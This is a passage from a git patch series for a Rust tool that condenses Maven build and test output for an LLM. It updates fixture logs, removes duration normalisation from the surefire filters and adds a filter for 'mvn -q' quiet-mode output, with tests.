/root/.m2/repository/commons-cli/commons-cli/1.11.1-SNAPSHOT/commons-cli-1.11.1-SNAPSHOT.jar +[INFO] Installing target/commons-cli-1.11.1-SNAPSHOT-sources.jar to /root/.m2/repository/commons-cli/commons-cli/1.11.1-SNAPSHOT/commons-cli-1.11.1-SNAPSHOT-sources.jar [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESS [INFO] ------------------------------------------------------------------------ -[INFO] Total time: 49.550 s -[INFO] Finished at: 2026-01-15T10:30:00Z +[INFO] Total time: 01:29 min +[INFO] Finished at: 2026-05-21T15:13:00Z [INFO] ------------------------------------------------------------------------ diff --git a/tests/fixtures/mvn_test_fail_slice_raw.txt b/tests/fixtures/mvn_test_fail_slice_raw.txt index b44af338a2..4af9af21aa 100644 --- a/tests/fixtures/mvn_test_fail_slice_raw.txt +++ b/tests/fixtures/mvn_test_fail_slice_raw.txt @@ -1,39 +1,46 @@ [INFO] Scanning for projects... [INFO] -[INFO] -----------------------< com.example:myapp >------------------------ -[INFO] Building myapp 1.0.0 +[INFO] ----------------------< commons-cli:commons-cli >----------------------- +[INFO] Building Apache Commons CLI 1.11.1-SNAPSHOT [INFO] from pom.xml [INFO] --------------------------------[ jar ]--------------------------------- [INFO] -[INFO] --- surefire:2.22.2:test (default-test) @ myapp --- +[INFO] --- surefire:3.5.5:test (default-test) @ commons-cli --- [INFO] [INFO] ------------------------------------------------------- [INFO] T E S T S [INFO] ------------------------------------------------------- -[INFO] Running com.example.app.FooServiceTest -org.opentest4j.AssertionFailedError: expected: <3> but was: <2> - at com.example.app.FooServiceTest.shouldCountThree(FooServiceTest.java:42) - at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) - at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) - at java.lang.reflect.Method.invoke(Method.java:498) - at org.junit.platform.commons.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:688) - at org.junit.jupiter.engine.execution.MethodInvocation.proceed(MethodInvocation.java:60) - at org.junit.platform.engine.support.hierarchical.NodeTestTask.execute(NodeTestTask.java:84) - at java.util.ArrayList.forEach(ArrayList.java:1259) - at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:418) -[ERROR] Tests run: 6, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 2.341 s <<< FAILURE! - in com.example.app.FooServiceTest -[INFO] Running com.example.app.BarServiceTest -[INFO] Tests run: 4, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.002 s - in com.example.app.BarServiceTest +[INFO] Running org.apache.commons.cli.SolrCliTest +[INFO] Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.005 s -- in org.apache.commons.cli.SolrCliTest +[INFO] Running org.apache.commons.cli.RtkInducedFailTest +[ERROR] Tests run: 1, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 0.033 s <<< FAILURE! -- in org.apache.commons.cli.RtkInducedFailTest +[ERROR] org.apache.commons.cli.RtkInducedFailTest.rtkInducedFailure -- Time elapsed: 0.025 s <<< FAILURE! +org.opentest4j.AssertionFailedError: expected: but was: + at org.junit.jupiter.api.AssertionFailureBuilder.build(AssertionFailureBuilder.java:151) + at org.junit.jupiter.api.AssertionFailureBuilder.buildAndThrow(AssertionFailureBuilder.java:132) + at org.junit.jupiter.api.AssertEquals.failNotEqual(AssertEquals.java:197) + at org.junit.jupiter.api.AssertEquals.assertEquals(AssertEquals.java:182) + at org.junit.jupiter.api.AssertEquals.assertEquals(AssertEquals.java:177) + at org.junit.jupiter.api.Assertions.assertEquals(Assertions.java:1145) + at org.apache.commons.cli.RtkInducedFailTest.rtkInducedFailure(RtkInducedFailTest.java:25) + at java.base/java.lang.reflect.Method.invoke(Method.java:580) + at java.base/java.util.ArrayList.forEach(ArrayList.java:1596) + at java.base/java.util.ArrayList.forEach(ArrayList.java:1596) + +[INFO] Running org.apache.commons.cli.PatternOptionBuilderTest +[INFO] Tests run: 10, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.066 s -- in org.apache.commons.cli.PatternOptionBuilderTest [INFO] [INFO] Results: [INFO] [ERROR] Failures: -[ERROR] FooServiceTest.shouldCountThree:42 expected: <3> but was: <2> -[ERROR] Tests run: 10, Failures: 1, Errors: 0, Skipped: 0 +[ERROR] RtkInducedFailTest.rtkInducedFailure:25 expected: but was: +[INFO] +[ERROR] Tests run: 978, Failures: 1, Errors: 0, Skipped: 61 [INFO] [INFO] ------------------------------------------------------------------------ [INFO] BUILD FAILURE [INFO] ------------------------------------------------------------------------ -[INFO] Total time: 3.124 s -[INFO] Finished at: 2026-01-15T10:30:00Z +[INFO] Total time: 01:05 min +[INFO] Finished at: 2026-05-21T14:57:09Z [INFO] ------------------------------------------------------------------------ +[ERROR] Failed to execute goal org.apache.maven.plugins:maven-surefire-plugin:3.5.5:test (default-test) on project commons-cli: There are test failures. diff --git a/tests/fixtures/mvn_test_pass_full_raw.txt.gz b/tests/fixtures/mvn_test_pass_full_raw.txt.gz index 2c1b36e3bb955122f1b2139df4db968f96c0dac5..c44504db94a27e03cec10588fdfb2e7208ae33ca 100644 GIT binary patch literal 2898 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 literal 2978 zcma)6YdDk%8&*PAJ6V;{*9>hD*-Y8pm>G&?krkzA*6cXs*pkCL#yErsYcsrKsccM6 zlN=*7W`t}QZ)h+%=j?SDIpmNeCf^u;_RsfS{d)d9*Zthj{oMDXLfgHY-XQC_Q_`F2 z<4AGyr#Sju_4jvl54e6ELkXft%njQ6_M0lkF3#|BM@&wV4j;o#q27K?;~sk~`S4u1 z$?Pmwy2i=vnEMfnoobcSY)4{}t!d{ghW7UnKW!vr-`4nD6|EWK^qawA{S3S0^YRTc zPHS@6^YigFPF}KG%}0_|PvMW28DYKYwVOwA2Evs#*Jm8dmJ;q9`HGd#rslntamRZt z=>|nBH2$mN9UHa)BwfmPF#@qHaUrYS^dR?FD4^1@3$34F^mrPK~F&Xv_8>?f3 zT-E!&?&Tg(N_Z*BA@sq$mH^h@7m_@~39kxfCfg?5g|jN$H_t+zISOZ=jQRtF^Fa&D zWzW^UY7Y*uZ<3G(of98^Uk?dPGjR17CS9vywEI+=2#*V^?-O{FyfR`+K>4-1&wqW~ z91<3A`Q&F(j>$|zpYGIkLi6%Fmcm})cc<(1D_g1SK6g(X(llL}i%0DvdQb9V3|dny za(!t50ff)QVqe9claD&cEMjL#+DeD}D(3l}zP|aLP4fybdJM|bYirD+_N@x0$XCKW zi%)O5I(7x$A9R@*Y+hAQRp)PXTon$UR=)Bk5yuSw#%Uhixp_i3-sHHW9UZoy&Q zI2Sg>y{2P5hmbZwwl3*ND=4Ccgj}|y*?pn{_Cp4zi{rXd>J8d`b$kda=3ZdG%w~2m zt#-(Umt0VpKywc9|FC**&UVj)%Zz>MfwZ;vkAizUOzd^mL)JAnCa=QvLhR6UNA~G@ z=e_~*{UOD`3H`93+rxvsqZQ%7!;DYfH{Y^D0D`@)*IeMn^bf1Ls?QI7aw+8u2bL(V zq%3`!m~Zg5=CwWVE4y*!{-n=4$C`H@RlmHoTwcP3rdMkg*p-iXCb_mH)1EnWR@FL$ z=ih5t3Rzz*d|Pq8*{+o2t^2T1wQ#&Tm>+;NB*>L@-$Jo6^H`ZMF|k1LVZKzBV(f87 zv8d!pc`lB7zMvOL1$+LqgXQF<)oU#W66MYoOBH&)NF|=~1pcm@7L`b1rs9QS#VE7x zTW44!5yU@Pieq^(KR=E^^%&W(0l{kZjt4uIg{y zzMs57%gR-(k08buv6OJ0+Hpi0AJ8%_Ajbd5QrcF4yIV~6^TwF-coSFSFw(^f(+HB{ znUl_;3|grs(!~z0|t6YC=Q%s`Vc((2^DgF#gNv5;Tm71AS8SS8$B5*@9Q>GIg z9$gAKn7z2Fbi(SSu}~eRB^7|MCt*27VX71_SE@*^N%JGSRwq zk$(C$e(@@Y5GNNA+Czz%TsC|R^H~Qi z^rmd|=WVceNcbkaP(aB0MN5tf_T9BD+G4f5J^kNgjfiPA8mtH!p`(&SJ1%sLNnUUF`GHCoCf9D48{T}>UIk;dO# zo~ko^c1wC=Z5#w?XVqB6$b0B?JN*L}dHKHwHwv^Kf(Y%j32cbgfQ*alwy z6Rlo_R!>3aa;OYEl|i90Y^V$;NDN3715&C98R*)Mo`!?Dvv^T>X4lpbdW4w`0)0^8MwN$_||VJj5!L!p2C1%1M}@bHy^md z2c)+gb_vlA+>x9R@Y@PPzhrPm8|3yyD+}~Q*8T!%1VYaLC8!`GC{BO}_=FDn??xl_ z&`2aYg+n3XDI^MoWJ4htiV}cDBX(?S7;PL%AsGocz0(|yfYXozzs`cQnQ(SCyz}1@ zX0+KNRnRH&cnlSf!Qe5#G>0PK2n3uw0Vm?$$1{_Nqk|UzbFe7O6mj(4Gc~^mZ_2-m zs}8CC4ASgDngwV<64?QV!Q(KRI85SpLUH1R?uZymh82!LTnxljgVc&qDIf~@0EN7Z zLcSE6CIYo(8s)HG?|u|;qT7Me4glZ-w=JL?W5~n|GBJUq#O}u#iUWFKVxbR^Erp%g z@K_nF&?E9SNNWXY&7j=u_VWU_o>xZmXg#cO3*v$hHwIF}D5oHlk!WS)0cGUK*4PON zWi#AGP`T!4Pb{Rii#|owPp?`CQby9J(E8~!3qi$oFm6Evm|OpsBwd`Rvs0&5M;EIT zpuIv30#Bci%;e1_9_;d+r7L1LtsM8x)P!z+;------------------------ -[INFO] Building myapp 1.0.0 +[INFO] ----------------------< commons-cli:commons-cli >----------------------- +[INFO] Building Apache Commons CLI 1.11.1-SNAPSHOT [INFO] from pom.xml [INFO] --------------------------------[ jar ]--------------------------------- [INFO] -[INFO] --- surefire:2.22.2:test (default-test) @ myapp --- +[INFO] --- surefire:3.5.5:test (default-test) @ commons-cli --- [INFO] [INFO] ------------------------------------------------------- [INFO] T E S T S [INFO] ------------------------------------------------------- -[INFO] Running com.example.app.FooServiceTest -Jan 15, 2026 10:30:00 AM com.example.app.FooService execute -SEVERE: null -com.example.app.AppException: input must not be null - at com.example.app.FooService.execute(FooService.java:36) - at com.example.app.FooServiceTest.lambda$rejectsNullInput$0(FooServiceTest.java:42) - at org.junit.jupiter.api.AssertThrows.assertThrows(AssertThrows.java:55) - at org.junit.jupiter.api.AssertThrows.assertThrows(AssertThrows.java:37) - at org.junit.jupiter.api.Assertions.assertThrows(Assertions.java:3007) - at com.example.app.FooServiceTest.rejectsNullInput(FooServiceTest.java:42) - at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) - at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) - at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) - at java.lang.reflect.Method.invoke(Method.java:498) - at org.junit.platform.commons.util.ReflectionUtils.invokeMethod(ReflectionUtils.java:688) - at org.junit.jupiter.engine.execution.MethodInvocation.proceed(MethodInvocation.java:60) - at org.junit.platform.engine.support.hierarchical.NodeTestTask.execute(NodeTestTask.java:84) - at java.util.ArrayList.forEach(ArrayList.java:1259) - at org.junit.platform.launcher.core.DefaultLauncher.execute(DefaultLauncher.java:128) - at org.apache.maven.surefire.junitplatform.JUnitPlatformProvider.invoke(JUnitPlatformProvider.java:124) - at org.apache.maven.surefire.booter.ForkedBooter.main(ForkedBooter.java:418) -[INFO] Tests run: 6, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 2.213 s - in com.example.app.FooServiceTest -[INFO] Running com.example.app.BarServiceTest -[INFO] Tests run: 4, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.002 s - in com.example.app.BarServiceTest +[INFO] Running org.apache.commons.cli.help.UtilTest +[INFO] Tests run: 34, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 1.023 s -- in org.apache.commons.cli.help.UtilTest +[INFO] Running org.apache.commons.cli.help.TextStyleTest +[INFO] Tests run: 13, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.240 s -- in org.apache.commons.cli.help.TextStyleTest +[INFO] Running org.apache.commons.cli.DefaultParserTest +[WARNING] Tests run: 87, Failures: 0, Errors: 0, Skipped: 2, Time elapsed: 1.023 s -- in org.apache.commons.cli.DefaultParserTest +[INFO] Running org.apache.commons.cli.ConverterTests +[INFO] Tests run: 14, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.204 s -- in org.apache.commons.cli.ConverterTests +[INFO] Running org.apache.commons.cli.AlreadySelectedExceptionTest +[INFO] Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.014 s -- in org.apache.commons.cli.AlreadySelectedExceptionTest [INFO] [INFO] Results: [INFO] -[INFO] Tests run: 10, Failures: 0, Errors: 0, Skipped: 0 +[INFO] Tests run: 977, Failures: 0, Errors: 0, Skipped: 61 [INFO] [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESS [INFO] ------------------------------------------------------------------------ -[INFO] Total time: 3.124 s -[INFO] Finished at: 2026-01-15T10:30:00Z +[INFO] Total time: 01:14 min +[INFO] Finished at: 2026-05-21T14:54:30Z [INFO] ------------------------------------------------------------------------ From 77e28d096e99d540a602a86ba923c23f2f025baf Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Thu, 21 May 2026 12:38:06 -0300 Subject: [PATCH 121/257] refactor(mvn): drop production duration normalisation MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `normalise()` rewrote real `Time elapsed: N s` and `Total time: N s` values to `T s` in the shipped output. That was only ever useful for keeping snapshot tests deterministic and never belonged in production: test perf signal is exactly the kind of data the LLM needs to spot a regression, and there are no insta snapshots in this module to protect. - Remove `normalise()` and its `TIME_DURATION` / `TOTAL_TIME` regexes. - All `filter_surefire`, `filter_compile`, `filter_package` emit sites pass the raw line through. - Renamed and inverted `surefire_normalises_durations` → `surefire_preserves_real_durations`: asserts `2.341 s` and `Total time: 4.567 s` survive filtering. Refs: pszymkowiak review on PR #1956 (E.1) --- src/cmds/jvm/mvn_cmd.rs | 66 ++++++++++++++++++++--------------------- 1 file changed, 33 insertions(+), 33 deletions(-) diff --git a/src/cmds/jvm/mvn_cmd.rs b/src/cmds/jvm/mvn_cmd.rs index a12358268e..d42f1b31c5 100644 --- a/src/cmds/jvm/mvn_cmd.rs +++ b/src/cmds/jvm/mvn_cmd.rs @@ -46,12 +46,6 @@ lazy_static! { /// Module banner with project name in brackets. static ref MODULE_BANNER: Regex = Regex::new(r"^\[INFO\] -+< .+ >-+$").unwrap(); - /// Duration normaliser for deterministic snapshots. - static ref TIME_DURATION: Regex = Regex::new(r"Time elapsed: [0-9.]+ s").unwrap(); - - /// Total time line — also normalised. - static ref TOTAL_TIME: Regex = Regex::new(r"^\[INFO\] Total time:\s+[0-9.]+ s").unwrap(); - /// Compile-error coordinate substring to strip when deduping warnings/errors. static ref FILE_COORD: Regex = Regex::new(r"/[^:]+\.java:\[\d+,\d+\]").unwrap(); } @@ -117,15 +111,6 @@ fn has_english_footer(stripped: &str) -> bool { }) } -// ── Duration normaliser ───────────────────────────────────────────────────── - -fn normalise(s: &str) -> String { - let s = TIME_DURATION.replace_all(s, "Time elapsed: T s").into_owned(); - TOTAL_TIME - .replace_all(&s, "[INFO] Total time: T s") - .into_owned() -} - // ── Outside-block keep list (shared by surefire + package) ────────────────── fn keep_outside_block(line: &str) -> bool { @@ -153,10 +138,11 @@ fn keep_outside_block(line: &str) -> bool { /// State machine: when a `[INFO] Running ` line is seen, start buffering /// the block. When the close line arrives, decide: /// - Failures == 0 && Errors == 0 → drop the block silently. -/// - Else → emit the block with framework frames stripped, durations normalised, -/// then enter a failure-trail mode that preserves the exception line and -/// user-code frames Surefire 3.x emits *after* the close line (until the -/// next blank line ends the trail). +/// - Else → emit the block with framework frames stripped, then enter a +/// failure-trail mode that preserves the exception line and user-code +/// frames Surefire 3.x emits *after* the close line (until the next +/// blank line ends the trail). Raw durations are preserved — the +/// user/LLM needs them. /// /// English-footer guard: if no `BUILD SUCCESS`/`BUILD FAILURE` line is present, /// return the ANSI-stripped raw input (non-English locale or truncated output). @@ -194,7 +180,7 @@ pub fn filter_surefire(raw: &str) -> String { let err = caps.get(2).map(|m| m.as_str() != "0").unwrap_or(false); if fail || err { emit_block(&mut out, &block_running, &block_lines); - out.push_str(&normalise(line)); + out.push_str(line); out.push('\n'); failure_trail = true; } @@ -223,7 +209,7 @@ pub fn filter_surefire(raw: &str) -> String { } if keep_outside_block(line) { - out.push_str(&normalise(line)); + out.push_str(line); out.push('\n'); } } @@ -236,18 +222,18 @@ pub fn filter_surefire(raw: &str) -> String { fn flush_block_as_keep(out: &mut String, running: &Option, lines: &[String]) { if let Some(r) = running { - out.push_str(&normalise(r)); + out.push_str(r); out.push('\n'); } for l in lines { - out.push_str(&normalise(l)); + out.push_str(l); out.push('\n'); } } fn emit_block(out: &mut String, running: &Option, lines: &[String]) { if let Some(r) = running { - out.push_str(&normalise(r)); + out.push_str(r); out.push('\n'); } for l in lines { @@ -255,7 +241,7 @@ fn emit_block(out: &mut String, running: &Option, lines: &[String]) { if t.starts_with("at ") && is_framework_frame(t) { continue; } - out.push_str(&normalise(l)); + out.push_str(l); out.push('\n'); } } @@ -291,7 +277,7 @@ pub fn filter_compile(raw: &str) -> String { || line.starts_with("[INFO] Finished at:") || line.starts_with("[INFO] Scanning ") { - out.push_str(&normalise(line)); + out.push_str(line); out.push('\n'); keep_continuation = false; continue; @@ -370,7 +356,7 @@ pub fn filter_package(raw: &str) -> String { let err = caps.get(2).map(|m| m.as_str() != "0").unwrap_or(false); if fail || err { emit_block(&mut out, &block_running, &block_lines); - out.push_str(&normalise(line)); + out.push_str(line); out.push('\n'); failure_trail = true; } @@ -400,7 +386,7 @@ pub fn filter_package(raw: &str) -> String { // Outside any Surefire block: compile-keep AND surefire-outside-keep merge. if MODULE_BANNER.is_match(line) || keep_outside_block(line) { - out.push_str(&normalise(line)); + out.push_str(line); out.push('\n'); keep_continuation = line.starts_with("[ERROR]") && !line.starts_with("[ERROR] Tests run:") @@ -756,16 +742,30 @@ mod tests { assert!(o.contains("-----< com.example:myapp >-----")); } + /// Production must ship raw `Time elapsed` and `Total time` durations + /// untouched — the LLM/user needs the actual numbers to diagnose perf + /// regressions. Earlier revisions normalised these to `T s`; that was + /// only ever needed for deterministic snapshots and never belonged in + /// the production path. #[test] - fn surefire_normalises_durations() { - let i = "[INFO] -----< x >-----\n[INFO] Running x.Foo\n[ERROR] Tests run: 1, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 2.341 s <<< FAILURE! - in x.Foo\n[INFO] BUILD FAILURE\n"; + fn surefire_preserves_real_durations() { + let i = "[INFO] -----< x >-----\n[INFO] Running x.Foo\n[ERROR] Tests run: 1, Failures: 1, Errors: 0, Skipped: 0, Time elapsed: 2.341 s <<< FAILURE! - in x.Foo\n[INFO] BUILD FAILURE\n[INFO] Total time: 4.567 s\n"; let o = filter_surefire(i); assert!( - o.contains("Time elapsed: T s"), - "duration normalised; got:\n{}", + o.contains("2.341 s"), + "raw close-line duration preserved; got:\n{}", + o + ); + assert!( + o.contains("Total time: 4.567 s"), + "raw total time preserved; got:\n{}", + o + ); + assert!( + !o.contains("Time elapsed: T s"), + "no normalisation in production; got:\n{}", o ); - assert!(!o.contains("2.341"), "raw duration removed; got:\n{}", o); } #[test] From 97dbf98cc6cb6ee7d5a3ba4d29450924142df4ee Mon Sep 17 00:00:00 2001 From: Vinicius Dufloth Date: Thu, 21 May 2026 17:50:01 -0300 Subject: [PATCH 122/257] feat(mvn): filter mvn -q quiet-mode output MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Under `mvn -q`, Maven 3.x suppresses all `[INFO]` lines: no `BUILD SUCCESS` footer, no `[INFO] Running` markers, no module banners. The existing surefire/compile/package filters all key off the English-footer guard and `[INFO] Running`/CLOSE state machine, so under `-q` they fell through and shipped the raw output unchanged (0% savings on PR #1956 reviewer's measurement). Reviewer (@pszymkowiak on PR #1956) listed `-q` handling in the path-to-merge as "worth a note or handling". This commit implements the handling. Behavior captured from `mvn -q test` on Maven 3.9.9 + Surefire 3.5.5 with JUnit 5: - Green run emits ZERO bytes — filter returns empty output. - Failure run emits ~27 lines: per-class CLOSE line, exception + stack trace, `[ERROR] Failures:` summary, aggregate `[ERROR] Tests run: N, Failures: F, ...`, and the `[ERROR] Failed to execute goal` terminator, followed by a ~10-line `[ERROR] See .../[Help 1].../Re-run Maven .../To see the full stack trace .../For more information ...` boilerplate block pointing at log files and help URLs. `filter_quiet` keeps the failure-signal lines and the user-code stack frames; drops the framework frames (existing deny-list) and the post-failure boilerplate block. Routing: `is_quiet` checks argv for `-q` or `--quiet`. When set, `run()` short-circuits the phase-based filter selection and routes non-passthrough phases to `filter_quiet`. Passthrough phases (`clean`, `site`, plugin goals) remain passthrough under `-q`. Measured savings on the captured fail fixture: 51.1% (174 -> 85 tokens). Green run: 0 -> 0 (no overhead). Safety net: unclassified `[ERROR]` lines are kept rather than dropped — better to leak a line than hide signal. Tests added (7): - `quiet_detects_short_flag` / `quiet_detects_long_flag` / `quiet_does_not_match_unrelated_flags` for `is_quiet`. - `quiet_green_run_is_empty` — empty input contract. - `quiet_fail_strips_framework_and_boilerplate` — kept-list and drop-list assertions on the real fixture. - `savings_mvn_quiet_fail` — >=50% savings target on the fixture. - `quiet_unknown_error_line_kept_as_safety_net` — unclassified `[ERROR]` not silently dropped. New fixture: `tests/fixtures/mvn_quiet_fail_raw.txt` (27 lines, 770 bytes) captured from a real `mvn -q test` run against a JUnit 5 / Surefire 3.5.5 project with one failing test. --- src/cmds/jvm/mvn_cmd.rs | 259 +++++++++++++++++++++++++- tests/fixtures/mvn_quiet_fail_raw.txt | 27 +++ 2 files changed, 285 insertions(+), 1 deletion(-) create mode 100644 tests/fixtures/mvn_quiet_fail_raw.txt diff --git a/src/cmds/jvm/mvn_cmd.rs b/src/cmds/jvm/mvn_cmd.rs index d42f1b31c5..e470689930 100644 --- a/src/cmds/jvm/mvn_cmd.rs +++ b/src/cmds/jvm/mvn_cmd.rs @@ -50,6 +50,17 @@ lazy_static! { static ref FILE_COORD: Regex = Regex::new(r"/[^:]+\.java:\[\d+,\d+\]").unwrap(); } +// ── Quiet-mode detection ──────────────────────────────────────────────────── + +/// `mvn -q` / `mvn --quiet` suppresses all `[INFO]` lines: no `BUILD SUCCESS` +/// footer, no `[INFO] Running` markers, no module banners. A passing run emits +/// **zero bytes**; a failing run emits only `[ERROR]`-prefixed lines plus the +/// stack trace. The standard filters key off `[INFO]` markers and the footer +/// guard, so they can't fire here — `filter_quiet` handles this case instead. +fn is_quiet(args: &[String]) -> bool { + args.iter().any(|a| a == "-q" || a == "--quiet") +} + // ── Phase detection ───────────────────────────────────────────────────────── #[derive(Debug, PartialEq, Clone, Copy)] @@ -419,6 +430,107 @@ pub fn filter_package(raw: &str) -> String { out } +// ── Quiet-mode filter ─────────────────────────────────────────────────────── + +/// Boilerplate `[ERROR]` lines Maven emits after `Failed to execute goal` — +/// pure noise pointing at log files and help URLs, no signal for the user/LLM. +const QUIET_BOILER_PREFIXES: &[&str] = &[ + "[ERROR] See ", + "[ERROR] -> [Help", + "[ERROR] To see the full stack trace", + "[ERROR] Re-run Maven", + "[ERROR] For more information", + "[ERROR] [Help", +]; + +/// Filter for `mvn -q` invocations. +/// +/// Under `-q`, Maven 3.x suppresses all `[INFO]` lines, so the standard +/// `filter_surefire` / `filter_compile` / `filter_package` pipelines (which +/// key off the English `BUILD SUCCESS` footer and `[INFO] Running` markers) +/// can't fire. This filter handles the residual `-q` output shape: +/// +/// - Green run: input is empty → output is empty (0 → 0, no overhead). +/// - Failure run: keeps the Surefire close-line (`[ERROR] Tests run: … +/// <<< FAILURE! -- in FQN`), the per-test failure subline, exception class, +/// user-code stack frames, the failure summary block (`[ERROR] Failures:`, +/// indented entries, aggregate `Tests run: N, Failures: F, …`), and the +/// `[ERROR] Failed to execute goal` terminator. Drops framework stack +/// frames and the post-failure boilerplate block (`See …`, `[Help 1]`, +/// `Re-run Maven`, `To see the full stack trace`, etc.). +pub fn filter_quiet(raw: &str) -> String { + let stripped = strip_ansi(raw); + if stripped.trim().is_empty() { + return String::new(); + } + + let mut out = String::new(); + let mut failure_trail = false; + + for line in stripped.lines() { + // Surefire close-line for a failed class — keep + enter failure trail. + if CLOSE.is_match(line) { + out.push_str(line); + out.push('\n'); + failure_trail = line.contains("<<< 